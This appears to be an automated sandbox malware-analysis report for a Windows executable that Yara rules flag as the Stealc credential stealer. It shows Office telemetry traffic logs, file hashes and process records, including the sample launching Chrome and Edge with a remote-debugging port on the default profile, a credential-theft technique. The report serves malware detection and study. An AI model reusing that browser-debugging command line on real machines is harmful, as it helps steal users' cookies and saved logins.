2024-11-25 11:10:01 UTC	192	OUT	GET /rules/rule120679v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 11:10:01 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 11:10:01 GMT Content-Type: text/xml Content-Length: 174 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91D80E15" x-ms-request-id: fb43cdc2-901e-0064-4ebf-3ee8a6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T111001Z-178bfbc474bbcwv4hC1NYCypys000000077g000000005xzk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 11:10:01 UTC	174	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 54 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 31 22 20 2f 3e 0d 0a 20 20 3c 2f 54 3e 0d 0a 3c 2f 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120679" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> </S> <T> <S T="1" /> </T></R>

Session ID	Source IP	Source Port	Destination IP	Destination Port
140	192.168.2.8	61137	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 11:10:03 UTC	192	OUT	GET /rules/rule120681v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 11:10:03 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 11:10:03 GMT Content-Type: text/xml Content-Length: 958 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:58 GMT ETag: "0x8DC582BA0A31B3B" x-ms-request-id: ccd0b474-201e-0096-421e-3dace6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T111003Z-178bfbc474bxkclvhC1NYC69g400000007e000000000012m x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 11:10:03 UTC	958	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 38 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120681" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120608" /> <R T="2" R="120680" /> <TH T="3"> <O T="AND"> <L> <O T="EQ"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
141	192.168.2.8	61136	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 11:10:03 UTC	192	OUT	GET /rules/rule120680v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 11:10:03 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 11:10:03 GMT Content-Type: text/xml Content-Length: 1952 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B956B0F3D" x-ms-request-id: efe1277d-c01e-008d-7f4b-3c2eec000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T111003Z-15b8b599d88hd9g7hC1TEBp75c00000005t000000000artt x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 11:10:03 UTC	1952	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 31 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120680" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <SS T="1" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> <R T="2" R="120682" /> <F T="3"> <O T="LT"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
142	192.168.2.8	61138	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 11:10:03 UTC	192	OUT	GET /rules/rule120682v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 11:10:03 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 11:10:03 GMT Content-Type: text/xml Content-Length: 501 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:18 GMT ETag: "0x8DC582BACFDAACD" x-ms-request-id: 2c6bdbd8-801e-0035-0204-3e752a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T111003Z-178bfbc474bbbqrhhC1NYCvw7400000007mg000000002hrk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 11:10:03 UTC	501	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 65 6c 65 6d 65 74 72 79 53 74 61 72 74 75 70 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120682" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <A T="1" E="TelemetryStartup" /> <R T="2" R="120100" /> <SS T="3" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> </S> <C T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
143	192.168.2.8	61139	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 11:10:03 UTC	193	OUT	GET /rules/rule120602v10s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 11:10:04 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 11:10:03 GMT Content-Type: text/xml Content-Length: 2592 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5B890DB" x-ms-request-id: 85babd8c-f01e-003f-4e8c-3ad19d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T111003Z-174c587ffdftv9hphC1TEBm29w00000005t0000000008gpd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 11:10:04 UTC	2592	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 32 22 20 56 3d 22 31 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 41 70 70 6c 69 63 61 74 69 6f 6e 41 6e 64 4c 61 6e 67 75 61 67 65 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120602" V="10" DC="SM" EN="Office.System.SystemHealthMetadataApplicationAndLanguage" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa=

Session ID	Source IP	Source Port	Destination IP	Destination Port
144	192.168.2.8	61140	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 11:10:03 UTC	192	OUT	GET /rules/rule120601v3s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 11:10:04 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 11:10:04 GMT Content-Type: text/xml Content-Length: 3342 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:34 GMT ETag: "0x8DC582B927E47E9" x-ms-request-id: 21def030-601e-0084-7c7b-3b6b3f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T111004Z-174c587ffdfmlsmvhC1TEBvyks000000063000000000171m x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 11:10:04 UTC	3342	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 31 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 4f 53 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120601" V="3" DC="SM" EN="Office.System.SystemHealthMetadataOS" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC" xmlns=""> <RI

Session ID	Source IP	Source Port	Destination IP	Destination Port
145	192.168.2.8	61141	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 11:10:05 UTC	193	OUT	GET /rules/rule224901v11s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 11:10:05 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 11:10:05 GMT Content-Type: text/xml Content-Length: 2284 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:13 GMT ETag: "0x8DC582BCD58BEEE" x-ms-request-id: 149a8621-501e-0029-28a6-3ed0b8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T111005Z-174c587ffdfb485jhC1TEBmc1s00000005kg00000000h2ru x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 11:10:05 UTC	2284	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 31 22 20 56 3d 22 31 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4c 69 63 65 6e 73 69 6e 67 2e 4f 66 66 69 63 65 43 6c 69 65 6e 74 4c 69 63 65 6e 73 69 6e 67 2e 44 6f 4c 69 63 65 6e 73 65 56 61 6c 69 64 61 74 69 6f 6e 22 20 41 54 54 3d 22 63 31 61 30 64 62 30 31 32 37 39 36 34 36 37 34 61 30 64 36 32 66 64 65 35 61 62 30 66 65 36 32 2d 36 65 63 34 61 63 34 35 2d 63 65 62 63 2d 34 66 38 30 2d 61 61 38 33 2d 62 36 62 39 64 33 61 38 36 65 64 37 2d 37 37 31 39 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 54 3d 22 55 70 6c 6f 61 64 2d 4d 65 64 69 75 6d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224901" V="11" DC="SM" EN="Office.Licensing.OfficeClientLicensing.DoLicenseValidation" ATT="c1a0db0127964674a0d62fde5ab0fe62-6ec4ac45-cebc-4f80-aa83-b6b9d3a86ed7-7719" SP="CriticalCensus" T="Upload-Medium"

Session ID	Source IP	Source Port	Destination IP	Destination Port
146	192.168.2.8	61142	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 11:10:05 UTC	192	OUT	GET /rules/rule701201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 11:10:05 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 11:10:05 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:51 GMT ETag: "0x8DC582BE3E55B6E" x-ms-request-id: 52379554-701e-003e-7fd8-3e79b3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T111005Z-15b8b599d88m7pn7hC1TEB4axw00000006000000000012ey x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 11:10:05 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml"

Session ID	Source IP	Source Port	Destination IP	Destination Port
147	192.168.2.8	61144	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 11:10:05 UTC	192	OUT	GET /rules/rule700201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 11:10:06 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 11:10:06 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:50 GMT ETag: "0x8DC582BE39DFC9B" x-ms-request-id: c6f64b36-301e-0000-4706-3deecc000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T111006Z-178bfbc474bpnd5vhC1NYC4vr400000007ag0000000098vv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 11:10:06 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord"

Session ID	Source IP	Source Port	Destination IP	Destination Port
148	192.168.2.8	61143	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 11:10:05 UTC	192	OUT	GET /rules/rule701200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 11:10:06 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 11:10:06 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDC681E17" x-ms-request-id: 8f8af0b5-d01e-00a1-23c7-3e35b1000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T111006Z-178bfbc474bpscmfhC1NYCfc2c00000005w000000000bn8v x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 11:10:06 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
149	192.168.2.8	61145	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 11:10:06 UTC	192	OUT	GET /rules/rule700200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 11:10:06 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 11:10:06 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF66E42D" x-ms-request-id: 31c6069e-e01e-001f-7f36-3d1633000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T111006Z-15b8b599d88s6mj9hC1TEBur3000000005pg0000000084xk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 11:10:06 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord" S="Medium" /> <F T="2">

Target ID:	0
Start time:	06:08:14
Start date:	25/11/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0x3f0000
File size:	1'833'472 bytes
MD5 hash:	91B37D2CD25D901080A13743131A5229
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000003.1499547754.0000000004DD0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000002.2001894530.00000000004BC000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.2001894530.00000000003F1000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.2005702282.0000000000F2E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	06:08:24
Start date:	25/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"
Imagebase:	0x7ff678760000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	06:08:25
Start date:	25/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2352 --field-trial-handle=2072,i,6352660947356166951,12031086605631171018,262144 /prefetch:8
Imagebase:	0x7ff678760000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	06:08:35
Start date:	25/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default"
Imagebase:	0x7ff7f97c0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	true
